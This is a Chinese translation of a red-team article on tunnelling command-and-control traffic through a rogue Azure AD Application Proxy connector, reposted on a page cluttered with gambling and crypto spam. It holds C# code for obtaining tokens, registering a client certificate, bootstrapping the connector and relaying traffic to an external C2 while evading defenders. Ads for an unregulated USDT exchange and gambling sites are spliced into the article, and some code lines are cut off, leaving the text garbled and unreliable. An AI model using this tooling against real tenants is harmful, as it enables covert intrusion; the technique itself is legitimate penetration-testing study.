皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

filecoin收益(www.ipfs8.vip):深入考察基于Azure应用程序署理的C2通讯手艺

admin2021-08-01118技术

Filecoin行情

Filecoin行情官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

随着蓝队在识别常见的下令和控制(C2)流量模式方面的能力的不停提高,红队在渗透通讯方面遇到了极大的磨练,以是,探索推送C2流量的新型方式,也酿成了渗透测试历程中不能或缺的一环。对于我们来说,一个常见技巧是使用客户端环境中很难禁用的协议来掩护流量,因此,若是客户端使用Slack举行通讯,则可以将C2推送到Slake,这对于防御方的监控能力来说是一个很好的磨练。这是否是您在初始接见时发现的易受攻击的Web应用程序?若是是的话,直接确立一个C2网络隧道,您就可以最先干活了!除此之外,我还在许多客户端环境中发现了另一个常见的手艺,而且该手艺很少引起人们的关注,那就是Azure active Directory(AD)应用程序署理。

在跟向云环境迁徙的同时仍需要对外宣布其内部应用程序的客户打交道时,您很可能会发现上述情形。那么,应用程序署理目的URL是什么样子呢?若是我们在名为l33t的Azure租户上确立一个名为legit的简朴应用程序署理,那么我们最终获得的URL是https[://]legit-133t.msappproxy.net(或者也可以是https[://]legit.l33t.msappproxy.net)。与此URL确立的任何毗邻都将通报给已部署的应用程序署理毗邻器,该应用程序署理毗邻器安装在客户端环境中的内陆,其义务是将流量通过隧道方式传输给Web应用程序,并将其响应出现给用户。

现在,在这种情形下,最常见的做法是将流量扔给某个全心设计的应用程序署理URL,并通过msappproxy.net将其传输给团队服务器。虽然这看起来不错,但这无助于我们融入客户的环境。若是我们反其道而行之,不是以典型的方式推送C2流量,而是通过安装在客户端环境中的署理来提取流量,该怎么处置?在这篇文章中,我们将研究应用程序署理协议及其事情原理,并展示若何组建足够壮大的功效以便能够在客户端环境中为C2流量确立自界说的入站署理。

应用程序署理的事情原理

对于许多读者来说,很可能已经发现“应用程序署理”与Azure的另一款盛行的产物似乎有许多相似之处:服务总线。现实上这种感受是准确的——应用署理现实上是确立在Azure服务总线(以及其他一些Azure手艺)之上的,并使用其传输功效作为内部通报流量的一种方式。不外,就现在来说,这些知识点照样有些超前了。因此,让我们将重新最先,先来设置一个毗邻器,并将服务启动和运行时发生的流量举行分流。

要确立一个应用署理毗邻器,我们需要登录自己的Azure门户并下载响应的安装程序。

 图1  下载安装应用署理毗邻器

在安装历程中,会提醒我们对Azure AD帐户举行身份验证,通过验证之后才气启动该服务。几分钟后,刷新毗邻器列表,若是一切正常的话,我们的主机名应该就会弹出。

图2  运行Azure Portal中显示的应用程序署理毗邻器 

部署好毗邻器之后,我们接下来需要确立一个新的应用程序,以便让安装的毗邻器将把流量转发到该应用程序上。

图3  在Azure Portal中添加新应用程序

确立好应用程序端点并启动和运行毗邻器后,我们就可以最先考察TLS的通讯流量了。在考察流量方面,Fiddler堪称完善的工具,然则,若是我们试图在Fiddler运行时启动毗邻器服务,将会遇到一个问题。

图4  Fiddler无法确立TLS毗邻

这注释应用程序署理可能正在使用客户端证书相互举行身份验证,记着,这是我们遇到的第一个线索。通过快速检查证书存储,我们发现使其确实是这样的。

图5  将SSL证书添加到内陆证书存储中

为了辅助Fiddler通报我们的证书,只需导出证书的公钥,并将其作为ClientCertificate.cer添加到~\documents\fiddler2目录中。之后,我们将看到对/connectorbootstrap的后续请求就可以正常举行了,同时,我们还会看到第一个XML blob将被发送到Azure,其中带有与环境有关的信息。

图6  应用程序署理的指导请求

这个请求的响应中,包罗了关于若何确立Web Socket通道的相关信息,说明这些通道正在被初始化。我们将在后面的文章中看到,这些Web Socket毗邻现实上是应用程序署理用来指示入站请求的信号通道,接下来通报的信息将包罗请求的URL、发送的参数、提供的cookies和头部信息等等。

图7  基于服务总线的应用署理信号通道

正如我们将在后面看到的那样,这些Web套接字毗邻现实上是应用程序署理用来指示何时发收支站请求的信令通道,通报诸如请求的URL、发送的参数、cookie和提供的头部数据等信息。

一旦各个信令通道都确立起来,毗邻器服务就会坐等Azure向其通报数据。固然,当我们向自己的应用程序的URL发出请求时,就会发生这种情形;在这种情形下,我们将看到应用程序代剖析泛起。通过Web套接字发送信号时,毗邻器将向/subscriber/admin发出请求,返回的JSON有用载荷中含有毗邻器应将入站请求转发至那边的信息,在我们的例子中,为转发至http://www.example.com。

图8  /subscriber/admin的响应信息

最后,我们看到一个响应被提交给Azure,其中包罗来自目的HTTP服务器的中继数据。这个数据是作为一个分段的POST请求提供应/subscriber/connection的。

图9  通过POST将数据通报给/subscriber/connection,以将其返回给用户

处置完上面的请求后,Web应用程序的内容就会显示在我们的URL中。

图10  来自应用程序署理的响应信息被出现给用户

好了,我们已经从网络的角度概述了这一切的事情原理,那么,现在是否就可以在入侵目的上安装应用程序署理毗邻器并竣事这篇文章了呢?嗯……事情似乎没有这么简朴。除非您希望自己删除证书和服务之类的构件,否则我们将需要确立定制版本的应用程序署理毗邻器,以使其对OpSec加倍友好。

确立客户端证书

在重新确立毗邻器的历程中,我们需要解决的第一件事就是天生客户端证。为此,我们只需导航到以下URL,并天生响应的身份验证令牌:

https://login.microsoftonline.com/common/oauth2/authorize?resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&response_type=code&haschrome=1&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient&client-request-id=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&prompt=login&x-client-SKU=PCL.Desktop&x-client-Ver=3.19.8.16603&x-client-CPU=x64&x-client-OS=Microsoft+Windows+NT+10.0.19041.0

OAuth身份验证完成后,我们将重定向到以下网址:

,

USDT线下交易

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,
https://login.microsoftonline.com/common/oauth2/nativeclient?code=EXTRA_LONG_TOKEN_HERE&session_state=SESSION_STATE_HERE

我们需要获取参数code的值(这是我们的身份验证令牌),并向Azure发出第二个请求,以组织一个JWT。为此,我们需要向URL

https://login.microsoftonline.com/common/oauth2/token发送POST请求,并提供响应的参数:
protected static string RequestAccessToken(string token)
{
    string result;
    HttpWebRequest request = (HttpWebRequest)WebRequest.CreateHttp(OAuthEndpoint);
    request.Method = "POST";
    request.Headers[SKUHeaderName] = SKUHeader;
    request.Headers[VerHeaderName] = VersionHeader;
    request.Headers[CPUHeaderName] = CPUHeader;
    request.Headers[OSHeaderName] = OSHeader;
    request.Headers[PKeyAuthHeaderName] = PKeyAuthHeader;
    request.Headers[ClientRequestHeaderName] = Guid.NewGuid().ToString();
    request.Headers[ReturnClientHeaderName] = ReturnClientHeader;
    using (StreamWriter sw = new StreamWriter(request.GetRequestStream()))
    {
        sw.Write(String.Format("resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&grant_type=authorization_code&code={0}&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient", token));
    }
...

作为响应,我们将收到一个确立客户端证书所需的JWT。

接下来,我们需要天生私钥和响应的Certificate Signing Request。为此,我们可以使用CertEnroll COM类来天生所需的CSR和私钥:

protected static string GenerateCSR()
{
      var objPrivateKey = new CX509PrivateKey();
      objPrivateKey.MachineContext = false;
      objPrivateKey.Length = 2048;
      objPrivateKey.ProviderType = X509ProviderType.XCN_PROV_RSA_AES;
      objPrivateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE;
      objPrivateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES;
      objPrivateKey.CspInformations = new CCspInformations();
      objPrivateKey.CspInformations.AddAvailableCsps();
      objPrivateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG;
      objPrivateKey.Create();
 
      var cert = new CX509CertificateRequestPkcs10();
      cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextUser, objPrivateKey, string.Empty);
 
      var objExtensionKeyUsage = new CX509ExtensionKeyUsage();
      objExtensionKeyUsage.InitializeEncode((X509KeyUsageFlags)X509KeyUsageFlags.XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_NON_REPUDIATION_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE
                                                  );
      cert.X509Extensions.Add((CX509Extension)objExtensionKeyUsage);
 
      var cobjectId = new CObjectId();
      cobjectId.InitializeFromName(CERTENROLL_OBJECTID.XCN_OID_PKIX_KP_CLIENT_AUTH);
 
      var cobjectIds = new CObjectIds();
      cobjectIds.Add(cobjectId);
 
      var pValue = cobjectIds;
      var cx509ExtensionEnhancedKeyUsage = new CX509ExtensionEnhancedKeyUsage();
      cx509ExtensionEnhancedKeyUsage.InitializeEncode(pValue);
      cert.X509Extensions.Add((CX509Extension)cx509ExtensionEnhancedKeyUsage);
 
      var cx509Enrollment = new CX509Enrollment();
      cx509Enrollment.InitializeFromRequest(cert);
      var output = cx509Enrollment.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64);
 
      return output;
}

获得CSR之后,就可以使用WCF通过端点https://[AZURE-SUBSCRIPTION-ID].registration.msappproxy.net/register将其通报给Azure。由于WCF代码相当长,以是我不会在这里先容所有的WCF代码,但归纳综合来说,它的作用就是通报RegistrationRequest工具中经由编码的CSR以及关于毗邻器机械的一些细节信息。我们通报的工具将被填充下列内容:

var registrationRequest = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequest()
{
  Base64Csr = output,
  Feature = Microsoft.ApplicationProxy.Common.ConnectorFeature.ApplicationProxy,
  FeatureString = Feature,
  RegistrationRequestSettings = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequestSettings()
  {
    SystemSettingsInformation = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
    {
      MachineName = MachineName,
      OsLanguage = OSLanguage,
      OsLocale = OSLocale,
      OsSku = OSSKU,
      OsVersion = OSVersion
    },
    PSModuleVersion = PSModuleVersion,
    SystemSettings = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
    {
      MachineName = MachineName,
      OsLanguage = OSLanguage,
      OsLocale = OSLocale,
      OsSku = OSSKU,
      OsVersion = OSVersion
    }
  },
  TenantId = tennantID.Value,
  UserAgent = UserAgent
};

作为我们的请求的响应,我们将被授予署名证书,有了它,我们就可以天生PFX。之后,我们可以把它导出到一个新文件中,并将该文件绑定到我们全心组织的毗邻器中:

var certifiateData = result.Certificate;
var certificateEnrollmentContext = X509CertificateEnrollmentContext.ContextUser;
 
CX509Enrollment cx509Enrollment = new CX509Enrollment();
cx509Enrollment.Initialize(certificateEnrollmentContext);
cx509Enrollment.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate, Convert.ToBase64String(certificateData), EncodingType.XCN_CRYPT_STRING_BASE64, null);
 
// Export PFX to file with password 'password'
var pfx = cx509Enrollment.CreatePFX("password", PFXExportOptions.PFXExportChainNoRoot, EncodingType.XCN_CRYPT_STRING_BASE64);
using (var fs = File.OpenWrite(outputPath))
{
    var decoded = Convert.FromBase64String(pfx);
    fs.Write(decoded, 0, decoded.Length);
}

最后,我们需要知道毗邻器ID UUID。现实上,我们可以在Azure Portal的应用署理毗邻器设置中找到它。

 

图11  Azure Portal中显示的毗邻器ID UUID

读者可以在这里找到自动完成上述历程的POC的源代码。

确立我们自己的毗邻器

现在我们已经获得了署名所需的证书,那么,若何通过应用程序署理与Azure对话呢?我建议阅读本节以及已公布的POC代码(见这里),以便更好地领会我们正在做的事情。

由于这项手艺依赖于服务总线,因此,我们需要安装NuGet包WindowsAzure.ServiceBus。

通过劈头审查,我们知道需要向端点https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net发送一个指导请求。当向应用署剃头送任何请求时,我们必须确保只使用TLS 1.2,为此,可以举行如下所示的设置:

ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;

此外,我们还必须确保服务总线是运行在HTTPS协议而非TCP协议之上,为此,可以设置如下:

ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;

然后,我们就可以使用以下方式确立WCF通道了:

if (!Uri.TryCreate(String.Format("https://为了进一步注释这个blob,我们需要让.NET在向serviceEndpoint发送请求时使用先前在clientCert中天生的客户端证书,它将被设置为https://[AZURE-SUBSCRIPTION-ID].bootstrap.msAppProxy.net。

这个请求将作为BootstrapRequest工具发送,因此,我们需要为其填充响应的参数:

private const string LastNETVersion = "461814";
private const string MachineName = "poc.lab.local";
private const string OSLanguage = "1033";
private const string OSLocale = "0409";
private const string OSSKU = "79";
private const string OSVersion = "10.0.17763";
private const string SDKVersion = "1.5.1975.0";
...
BootstrapRequest request = new BootstrapRequest
{
  InitialBootstrap = true,
  ConsecutiveFailures = 0,
  RequestId = requestId,
  SubscriptionId = SubscriptionId,
  ConnectorId = ConnectorId,
  AgentVersion = SDKVersion,
  AgentSdkVersion = SDKVersion,
  ProxyDataModelVersion = SDKVersion,
  BootstrapDataModelVersion = SDKVersion,
  MachineName = MachineName,
  OperatingSystemVersion = OSVersion,
  OperatingSystemSKU = OSSKU,
  OperatingSystemLanguage = OSLanguage,
  OperatingSystemLocale = OSLocale,
  UseSpnegoAuthentication = false,
  UseServiceBusTcpConnectivityMode = false,
  IsProxyPortResponseFallbackDisabledFromRegistry = true,
  CurrentProxyPortResponseMode = "Primary",
  UpdaterStatus = "Running",
  LatestDotNetVersionInstalled = LastNETVersion,
  PerformanceMetrics = new ConnectorPerformanceMetrics(new List
};

最后,我们可以将该请求发送给Azure并检索其响应:

var bootstrapService = serviceChannel.CreateChannel();
var resp = bootstrapService.ConnectorBootstrapAsync(request);
var result = resp.GetAwaiter().GetResult();

获得响应后,我们需要使用服务总线来设置Web套接字通道。我们可以使用从指导请求返回的SignalingListenerEndpoints工具的列表来组织我们的信令Web套接字通道:

// Generate the websocket URL from the returned ServiceBusSignalingListenerEndpointSettings
string address = string.Format("{0}://{1}.{2}/{3}",
                signallingEndpointSettings.Scheme,
                signallingEndpointSettings.Namespace,
                signallingEndpointSettings.Domain,
                signallingEndpointSettings.ServicePath
            );
if (!Uri.TryCreate(address, UriKind.Absolute, out signallingURI))
{
  throw new BootstrapException(String.Format("Could not parse provided signalling URI: {0}", address));
}
var host = new ServiceHost(typeof(ConnectorSignalingService), signallingURI);
var tokenProvider = TokenProvider.CreateSharedAccessSignatureTokenProvider(signallingEndpointSettings.SharedAccessKeyName, signallingEndpointSettings.SharedAccessKey);
var endpoint = host.AddServiceEndpoint(typeof(Microsoft.ApplicationProxy.Common.SignalingDataModel.IConnectorSignalingService), binding, address);
var transportClientEndpointBehavior = new TransportClientEndpointBehavior(tokenProvider);
endpoint.EndpointBehaviors.Add(statusBehavior);
endpoint.EndpointBehaviors.Add(transportClientEndpointBehavior);
host.Open();

在我们的示例中,通过服务总线果然的服务需要相符IConnectorSignalingService接口的要求:

[ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, Namespace = "Microsoft.ApplicationProxy.Connector.Listener")]
public class ConnectorSignalingService : IConnectorSignalingService
{

该接口要求我们果然一个SignalConnectorAsync方式,以便向该方式通报关于入站请求的信息:

public Task
{
...
}

现在,当请求通过服务总线传入时,我们将收到一个SignalMessage工具参数,该参数包罗一些基本信息,其中包罗ReturnHost(入站请求的响应将通报给它)。

图12  message工具的变量

现在,我们可以看到有关入站请求的信息——固然是通过隧道传输C2流量时必不能少的信息。

 

图13  来自入站服务总线通道的HTTP信息

到现在为止,尚有一些问题没有获得解决。在信令请求中,我们可以看到有关GET请求的信息,然则POST请求的内容呢?为了进一步获取相关的数据,我们需要向下面的URL发送请求:

https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST;

在该请求的响应中,含有作为请求的一部门发送的所有数据:

图14  来自应用程序署理的POST数据

在这个阶段,我们需要现实处置这个请求。固然,现在正当的应用程序署理毗邻器会将这个请求中继到一些内部服务,然则在我们的例子中,我们希望通过这个通道运行C2,以是我们只要实现了外部C2,我们就不需要在任何地方中继请求了。

一旦我们有数据要从外部C2返回,我们就需要再次使用下面URL向ReturnHost发送HTTPS请求:

https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST

在这里,我们将通过POST方式返回数据:

const string SubscriberConnection = "https://好了,举行身份验证,确立服务总线信令通道以及通过应用程序署理传输数据的历程到此就大功告成了。上述事情一切顺遂的话,我们就能获得一个随手的外部C2毗邻:

对于本文的完整POC代码,可以从这里下载。

小结

在本文中,我们为读者先容了一种异常有趣的隧道通讯手艺,希望能够对人人的渗透测试事情有所辅助。

本文翻译自:https://www.trustedsec.com/blog/azure-application-proxy-c2/

网友评论

4条评论
  • 2021-05-23 00:02:04

    皇冠足球app皇冠足球app(www.huangguan.us)是一个开放皇冠即时比分、皇冠官网手机版下载、解决皇冠app怎么下载、皇冠足球怎么注册的皇冠官网平台。皇冠足球app(www.huangguan.us)上登录线路最新、新2皇冠网址更新最快。难得的好文

  • 2021-06-26 00:00:14

    现在全俄已累计进行了跨越3469万次新冠病毒检测。(总台记者 徐鸿波) 看好这个哦